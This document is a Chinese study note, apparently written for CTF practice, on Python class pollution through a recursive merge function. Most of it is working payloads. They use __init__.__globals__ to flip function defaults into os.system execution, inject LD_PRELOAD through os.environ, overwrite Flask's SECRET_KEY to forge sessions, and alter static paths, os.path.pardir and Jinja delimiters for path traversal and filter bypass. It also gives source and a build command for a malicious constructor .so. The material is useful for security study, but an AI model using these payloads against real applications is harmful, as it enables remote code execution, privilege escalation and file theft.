python原型链污染

  • 不是所有类的属性都可以被污染的;
  • 对所有类的方法无效

[!IMPORTANT]

——注:

我们只能更改对应区域的参数内容**(改属性、变量)**,并不能自己实现命令的执行;

要有其他区域来协助实现回显/执行。

合并函数

——实现污染的一种方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

#可创建新的属性
#可实现多个属性操作(即一个{}中用,实现多个

作用:差不多是ssti的方式,这个是以dict形式包含来体现层次

  • src为payload(即dict形式)

  • dst为对象

即可以修改自定义属性,也可以修改"__...__"的内置属性;

object的属性是无法被污染的;

目前Pydash模块中的set_set_with函数有merge函数类似的类属性赋值逻辑,,能实现污染攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
a = 1
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def demo():
pass
class A:
def __init__(self):
pass
class B:
classa = 2

instance = A()
payload = {
"__init__":{
"__globals__":{
"a":4,
"B":{
"classa":5
}
}
}
}
print(B.classa)
print(a)
merge(payload, instance)
print(B.classa)
print(a)

就实现了对参数的更改

解释

__class____base__的利用

  • __class__:获取当前的类对象——操作的对象可以为类、实例对象
  • __base__:获取当前类的父类——操作对象只能是类;有多个时,只能获取第一个
  • __bases__:获取所有父类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#用__base__
a = 1
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def demo():
pass

class B:
classa = 2

class A(B):#一个父类
def __init__(self):
pass

instance = A()
payload = {
"__class__":{
"__base__":{#切换到父类
"classa": 3#改属性值
}
}
}
print(B.classa)
print(a)
merge(payload, instance)
print(B.classa)
print(a)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
a = 1
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def demo():
pass

class B:
classa = 2

class C:
classc = 3

class A(B, C):#两个父类
def __init__(self):
pass

instance = A()
payload = {
"__class__":{
"__base__":{#用__base__,而不是__bases__
"classa": 3,
"classc":5#是第二个父类的内容
}
}
}
print(B.classa)
print(C.classc)
print(a)
merge(payload, instance)
print(B.classa)
print(C.classc)
print(a)
——最终,可以执行,但第二个父类的属性没有被修改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
a = 1
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def demo():
pass

class B:
classa = 2

class C:
classc = 3

class A(B, C):#存在多个父类
def __init__(self):
pass

instance = A()
payload = {
"__class__":{
"__bases__":{#用__bases__
"classa": 3,
"classc":5
}
}
}
print(B.classa)
print(C.classc)
print(a)
merge(payload, instance)
print(B.classa)
print(C.classc)
print(a)
——实现不了
——但可以通过__bases[n]__获取对应的父类(小tip)

——获取k、v,进入递归

——发现现在dst是元组了,元组没有.get()方法——报错了

——三个父类,dst也是元组,即__bases__返回的是元组

__init__+__globals__利用

前提:显示重写__init__方法

除了简单的继承关系,也可以通过__init____globals__属性来实现更多操作

原因:

  • python中所有用def定义的函数(包括类中实现的方法)在底层都是function类型的对象
  • function对象有一个特殊的属性:__globals__(字典,指向该函数定义时所在的全局命名空间
  • 没有重写__init__的话,__init__来自object,是C实现的,没有__globals__属性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class b:
def __init__():
pass
obj = b()

payload = {
"__init__" : {
"__globals__" :{
"var_new" : 666, #可创建新的属性
"a_1" : {
"answer_1" : "可实现多个属性操作" #可实现多个属性操作
}
}
}
}

print(a_1.answer_1)
merge(payload, obj)
print(a_1.answer_1)
print(var_new)
#
print(obj.__init__.globals__)


#__globals__后,可调用func,var,modules
#可以通过sys模块的modules来操作已经加载过的模块

#而**前提**:sys要import先,print(obj.__init__.__globals__['sys'])#globals是字典,用[]
#sys是模块对象,用.
#print(obj.__init__.__globals__['sys'].modules)
{
"__init__" : {
"__globals__" : {
"sys" : {
"modules" : {
...
}
}
}
}
}

可以通过sys模块的modules来操作已经加载过的模块

前提import sys

1
2
3
4
5
6
7
8
9
10
11
12
13
14
print(obj.__init__.__globals__['sys'])#globals是字典,用[]
#sys是模块对象,用.
#print(obj.__init__.__globals__['sys'].modules)
{
"__init__" : {
"__globals__" : {
"sys" : {
"modules" : {
...
}
}
}
}
}

loader利用

利用python中的加载器loader

为了实现模块加载而设计的,具体实现是在importlib

1
2
3
4
5
6
7
8
9
10
11
12
import importlib
print(importlib.__spec__.__init__.__globals__['sys'])

print(importlib.__spec__.loader.__init__.__globals__['sys'])


#__loader__的使用
import numpy#任意一个都可以
print(numpy.__loader__.__init__.__globals__)#注意要__init__;
#__loader__后是加载器,__init__是python写的才有__globals__,
#用c写的没有
#eg:os,sys,math,builtins,他们的都是<class '_frozen_importlib.BuiltinImporter'>,是c实现的

[!IMPORTANT]

__loader__后是加载器,__init__是python写的才有__globals__
用c写的没有
eg:os,sys,math,builtins,他们的都是<class '_frozen_importlib.BuiltinImporter'>,是c实现的

在 Python 中,**__spec__** 是一个模块对象的内置属性(不是loader的),用于描述该模块是如何被导入系统(import system)加载的

同时 importlib 的所有 .py 文件都 import sys 了

对于python3来说除了在debug模式下的主文件中__loader__None以外,正常执行的情况每个模块的__loader__属性均有一个对应的类

——即import出来的模块,都有对应的__loader__(个人理解)

总结:

优先用__spec__

参数篡改

__defaults__:存储普通关键字参数(keyword-only之前的)的默认值,类型是元组(tuple)

__kwdefaults__:存储关键字专属参数(keyword-only)的默认值,类型是字典(dict)

使用 * 作为分隔符,* 之后的参数就是 keyword-only 参数

kwd必须要带参传值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def func(a, b, *, c, d=10):
...
func(1, 2, c=3)#对
func(1,2,3)#错





def func_a(a, b=2, c=3): ...
# __defaults__ = (2, 3)

def func_c(a, b=2, *, c=3): ...
# __defaults__ = (2,)
# __kwdfaults__ = {'c': 3}

#这些属性可写

场景:

存在危险函数,默认下是安全的

1
2
3
4
5
def evilFunc(cmd, shell=False):
if shell:
os.system(cmd) #危险
else:
print(cmd) #安全

通过污染来实现RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
# 原函数:evilFunc(cmd, shell=False)
# shell 是第二个参数 → 在 __defaults__ 中是 (False,)

# 污染 payload:
payload = {
"__init__": {
"__globals__": {
"evilFunc": {
"__defaults__": (True,) # 注意:必须是元组!
}
}
}
}

[!WARNING]

JSON 不支持元组(POST上传)!所以需要后端能解析出 tuple(比如用 ast.literal_eval 或自定义解析)。如果后端直接用 json.loads,则 (True,) 会被转成 [True](list),赋值会失败或报错。

同理,

1
2
3
4
5
6
7
8
9
10
11
12
13
def evilFunc(cmd, *, shell=False):
...

# 污染 payload:
payload = {
"__init__": {
"__globals__": {
"evilFunc": {
"__kwdefaults__": {"shell": True} #JSON原生支持字典
}
}
}
}

os.environ污染

(环境变量劫持)

原理

  • os.environos._Environ对象(类似dict),存储当前进程的环境变量
1
2
3
4
5
6
7
8
9
10
11
{
"__init__": {
"__globals__": {
"os": {
"environ": {
"LD_PRELOAD": "/app/exp.so"
}
}
}
}
}

后面用os.system("id")会加载恶意.so,实现RCE

LD_PRELOAD

LD_PRELOAD——一个Linux环境变量,用于在程序运行时优先加载指定的共享库(.so文件),甚至在标准库前

即,设置后,任何新启动的程序(/bin/id)会先加载/app/exp.so

os.system("id")启动了一个新进程

.so——动态链接器,制造恶意.so,构造函数中执行任意代码==>RCE

1
2
3
4
5
6
7
8
9
10
// exp.c
#include <stdlib.h>

__attribute__((constructor)) void init() {
system("id > /tmp/pwned.txt");
}

//编译
gcc -shared -fPIC -o exp.so exp.c
(注意,上传给Linux的话,要在Linux上进行编译)

FlaskSECRET_KEY污染

Session伪造

原理:

  • Flask使用SECRET_KEY对session进行签名
  • 知道的话,可以伪造任意session(登录、权限)
1
2
3
4
5
6
7
8
9
10
11
{
"__init__": {
"__globals__": {
"app": {
"config": {
"SECRET_KEY": "attacker_controlled"
}
}
}
}
}

污染后,攻击者可以本地生成合法session,实现权限提升

_got_first_request污染

静态文件目录穿越

_static_url_path

原理

  • Flask默认静态文件路径为./static
  • _static_url_path控制该前缀对应的文件系统路径

代码

1
2
3
4
5
6
7
8
9
{
"__init__": {
"__globals__": {
"app": {
"_static_url_path": "."
}
}
}
}

就有http://host/static/flag==>http://host/static/flag

模板目录穿透

os.path.pardir污染

原理:

  • Jinja2在split_template_path()中检查路径是否包含..(即os.path.pardir
  • 如果匹配,报错TemplateNotFound防止目录穿透
  • os.path.pardir可改
1
2
3
4
5
6
7
8
9
10
11
{
"__init__": {
"__globals__": {
"os": {
"path": {
"pardir": "!"
}
}
}
}
}

访问/../../../flag时,不会被阻拦,实现读取

模板语法限制绕过

  • Jinjia默认只识别{{flag}}
  • 动态改语法标识符
1
2
3
4
5
6
7
8
9
10
11
12
{
"__init__": {
"__globals__": {
"app": {
"jinja_env": {
"variable_start_string": "[[",
"variable_end_string": "]]"
}
}
}
}
}

即禁用了{{}},现在可以用[[]]来操作了

——注意:由于已经存在污染前生成的缓存了,所以,是要重启容器,后,在污染后再访问模板